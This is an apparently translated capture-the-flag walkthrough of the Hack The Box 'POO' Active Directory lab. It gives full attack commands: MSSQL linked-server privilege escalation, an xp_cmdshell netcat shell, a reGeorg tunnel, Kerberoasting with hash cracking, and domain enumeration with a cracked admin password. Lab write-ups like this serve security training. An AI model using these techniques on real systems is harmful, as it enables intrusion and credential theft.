U ovom članku ćemo analizirati prolaz ne samo mašine, već i čitave mini laboratorije sa stranice
Kao što je navedeno u opisu, POO je dizajniran da testira vještine u svim fazama napada u malom Active Directory okruženju. Cilj je kompromitirati pristupačni host, eskalirati privilegije i na kraju kompromitirati cijeli domen uz prikupljanje 5 zastavica.
Veza sa laboratorijom je putem VPN-a. Preporuka je da se ne povezujete sa radnog kompjutera ili sa hosta na kome se nalaze podaci bitni za vas, jer završite na privatnoj mreži sa ljudima koji znaju nešto iz oblasti informacione bezbednosti :)
Organizacijske informacije
Da bih vam pomogao da budete u toku s novim člancima, softverom i drugim informacijama, kreirao sam
Sve informacije su predstavljene samo u obrazovne svrhe. Autor ovog dokumenta ne prihvata nikakvu odgovornost za bilo kakvu štetu prouzrokovanu bilo kome kao rezultat upotrebe znanja i tehnika stečenih proučavanjem ovog dokumenta.
Intro
Ovaj endgame se sastoji od dvije mašine i sadrži 5 zastavica.
Dat je i opis i adresa dostupnog hosta.
Krenimo!
Recon flag
Ova mašina ima IP adresu 10.13.38.11, koju dodajem u /etc/hosts.
10.13.38.11 poo.htb
Prije svega, skeniramo otvorene portove. Pošto skeniranje svih portova pomoću nmap-a traje dugo, prvo ću to učiniti koristeći masscan. Skeniramo sve TCP i UDP portove sa tun0 interfejsa brzinom od 500 paketa u sekundi.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Sada, da dobijemo detaljnije informacije o uslugama koje rade na portovima, pokrenimo skeniranje s opcijom -A.
nmap -A poo.htb -p80,1433
Dakle, imamo IIS i MSSQL usluge. U ovom slučaju ćemo saznati pravi DNS naziv domene i računara. Na web serveru nas dočekuje IIS početna stranica.
Idemo kroz imenike. Za ovo koristim gobuster. U parametrima označavamo broj niti 128 (-t), URL (-u), rječnik (-w) i ekstenzije koje nas zanimaju (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Ovo nam daje HTTP autentifikaciju za /admin direktorij, kao i pristupačnu desktop uslugu .DS_Store datoteku. .DS_Store su datoteke koje pohranjuju prilagođene postavke za folder, kao što je lista datoteka, lokacija ikona i odabrana pozadinska slika. Takva datoteka može završiti u direktoriju web servera web programera. Na taj način dobijamo informacije o sadržaju imenika. Za ovo možete koristiti
python3 dsstore_crawler.py -i http://poo.htb/
Dobijamo sadržaj direktorija. Najzanimljivija stvar ovdje je /dev direktorij, iz kojeg možemo pogledati izvore i db datoteke u dvije grane. Ali možemo koristiti prvih 6 znakova imena datoteka i direktorija ako je usluga ranjiva na IIS ShortName. Ovu ranjivost možete provjeriti koristeći
I nalazimo jednu tekstualnu datoteku koja počinje sa “poo_co”. Ne znajući šta dalje, jednostavno sam odabrao sve riječi koje počinju s “co” iz rječnika imenika.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
A mi ćemo to riješiti koristeći wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
I pronašli smo pravu riječ! Pogledamo ovaj fajl, sačuvamo akreditive (sudeći po parametru DBNAME, oni su iz MSSQL-a).
Predajemo zastavu i napredujemo 20%.
Huh zastava
Povezujemo se na MSSQL, ja koristim DBeaver.
Ne nalazimo ništa zanimljivo u ovoj bazi podataka, hajde da napravimo SQL Editor i proverimo koji korisnici postoje.
SELECT name FROM master..syslogins;
Imamo dva korisnika. Hajde da proverimo naše privilegije.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Dakle, nema nikakvih privilegija. Pogledajmo povezane servere, pisao sam o ovoj tehnici detaljno
SELECT * FROM master..sysservers;
Ovako nalazimo drugi SQL Server. Testirajmo izvršavanje komandi na ovom serveru koristeći openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Možemo čak i da napravimo stablo upita.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Poenta je da kada uputimo zahtjev povezanom serveru, zahtjev se izvršava u kontekstu drugog korisnika! Da vidimo u kontekstu kog korisnika radimo na povezanom serveru.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Sada da vidimo u kom kontekstu se šalje zahtjev sa povezanog servera na naš!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Dakle, DBO kontekst bi trebao imati sve privilegije. Provjerimo privilegije u slučaju zahtjeva sa povezanog servera.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Kao što vidite, imamo sve privilegije! Hajde da napravimo našeg vlastitog admina kao što je ovaj. Ali oni to ne dozvoljavaju kroz openquery, uradimo to kroz EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
I sada se povezujemo s vjerodajnicama novog korisnika, promatramo novu bazu podataka zastavica.
Predajemo ovu zastavu i idemo dalje.
BackTrack flag
Hajde da nabavimo ljusku koristeći MSSQL, ja koristim mssqlclient iz impacket paketa.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Moramo da dobijemo lozinke, a prvo sa čime smo se već susreli je veb lokacija. Dakle, potrebna nam je konfiguracija web servera (nije moguće ostaviti prikladnu ljusku, očigledno je pokrenut firewall).
Ali pristup je odbijen. Iako možemo čitati datoteku iz MSSQL-a, samo trebamo znati koji su programski jezici konfigurirani. A u direktoriju MSSQL saznajemo da postoji Python.
Tada nema problema sa čitanjem datoteke web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Sa pronađenim akreditivima idite na /admin i uzmite zastavicu.
Foothold flag
U stvari, postoje neke neugodnosti zbog korištenja firewall-a, ali gledajući mrežne postavke, primjećujemo da se koristi i IPv6!
Dodajmo ovu adresu u /etc/hosts.
dead:babe::1001 poo6.htb
Skenirajmo host ponovo, ali koristeći IPv6 protokol.
A usluga WinRM je dostupna preko IPv6. Povežimo se s pronađenim vjerodajnicama.
Na radnoj površini je zastavica, predajemo je.
P00ned flag
Nakon obavljanja izviđanja na domaćinu koristeći
setspn.exe -T intranet.poo -Q */*
Pokrenimo naredbu preko MSSQL-a.
Koristeći ovu metodu, dobijamo SPN korisnika p00_hr i p00_adm, što znači da su ranjivi na napade kao što je Kerberoasting. Ukratko, možemo dobiti njihove hešove lozinke.
Prvo morate dobiti stabilnu ljusku kao MSSQL korisnik. Ali pošto smo ograničeni u pristupu, imamo komunikaciju sa hostom samo preko portova 80 i 1433. Ali moguće je tunelirati saobraćaj kroz port 80! Za ovo ćemo koristiti
Ali kada pokušamo da mu pristupimo, dobijamo grešku 404. To znači da se *.aspx datoteke ne izvršavaju. Da bi se datoteke sa ovim ekstenzijama izvršile, instalirajte ASP.NET 4.5 na sljedeći način.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
A sada, kada pristupimo tunnel.aspx, dobijamo odgovor da je sve spremno za rad.
Pokrenimo klijentski dio aplikacije koji će prenijeti promet. Proslijedit ćemo sav promet sa porta 5432 na server.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
I mi koristimo proksi lance za slanje prometa bilo koje aplikacije preko našeg proxyja. Hajde da dodamo ovaj proxy u konfiguracioni fajl /etc/proxychains.conf.
Sada da otpremimo program na server
Sada pokrećemo slušalac preko MSSQL-a.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
I povezujemo se preko našeg proxyja.
proxychains rlwrap nc poo.htb 4321
I hajde da uzmemo heš.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Zatim morate iterirati preko ovih heševa. Pošto rockyou rječnik nije sadržavao ove lozinke, koristio sam SVE rječnike lozinki koji su dani u Seclists. Za pretragu koristimo hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
I nalazimo obje lozinke, prvu u rječniku dutch_passwordlist.txt, a drugu u Keyboard-Combinations.txt.
I tako imamo tri korisnika, idemo na kontroler domene. Prvo ćemo saznati njegovu adresu.
Odlično, saznali smo IP adresu kontrolera domene. Hajde da saznamo sve korisnike domene, kao i ko je od njih administrator. Za preuzimanje skripte za dobijanje informacija PowerView.ps1. Zatim ćemo se povezati pomoću evil-winrm, navodeći direktorij sa skriptom u parametru -s. A onda ćemo samo učitati PowerView skriptu.
Sada imamo pristup svim njegovim funkcijama. Korisnik p00_adm izgleda kao privilegirani korisnik, pa ćemo raditi u njegovom kontekstu. Kreirajmo PSCredential objekat za ovog korisnika.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Sada će se sve Powershell komande gdje navedemo Creds izvršavati kao p00_adm. Hajde da prikažemo listu korisnika i atribut AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
I tako, naš korisnik je zaista privilegovan. Da vidimo u kojim je grupama.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Konačno potvrđujemo da je korisnik administrator domene. Ovo mu daje pravo da se na daljinu prijavi na kontroler domene. Pokušajmo se prijaviti preko WinRM-a koristeći naš tunel. Zbunile su me greške koje je napravio reGeorg kada sam koristio evil-winrm.
Onda upotrijebimo drugi, lakši,
Pokušavamo da se povežemo, i mi smo u sistemu.
Ali nema zastave. Zatim pogledajte korisnika i provjerite radne površine.
Zastavu nalazimo kod mr3ks i laboratorija je 100% završena.
To je sve. Kao povratnu informaciju, napišite da li ste naučili nešto novo iz ovog članka i da li vam je bio koristan.
Možete nam se pridružiti na
izvor: www.habr.com